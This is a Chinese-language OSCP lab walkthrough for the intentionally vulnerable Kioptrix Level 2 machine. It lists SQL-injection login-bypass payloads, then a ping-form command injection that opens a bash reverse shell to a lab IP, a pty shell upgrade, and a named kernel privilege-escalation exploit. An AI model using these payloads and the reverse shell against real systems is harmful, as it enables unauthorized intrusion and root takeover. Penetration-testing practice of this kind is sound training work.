OSCP（基础篇靶机Kioptrix Level 2）

第一步：netdiscover加nmap

 第二步：通过burpsuite，利用SQLi Payloads进行SQL注入

SQLi Payloads:
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

 第三步：查找长度不一致的进行比对，并回显到浏览器，意思ping程序，输入127.0.0.1；然后字符拼接反向shell

 反向shell参考：https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

127.0.0.1; bash -i >& /dev/tcp/192.168.107.129/4444 0>&1

第四步：创造监听获取shell

 第五步：确定内核版本，进行权限提升

查看内核相关版本
lsb_release -a
uname -a

获取ttyshell  
python -c 'import pty; pty.spawn("/bin/sh")'

Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation

内核版本本地权限提升

 最后，成功获取root权限
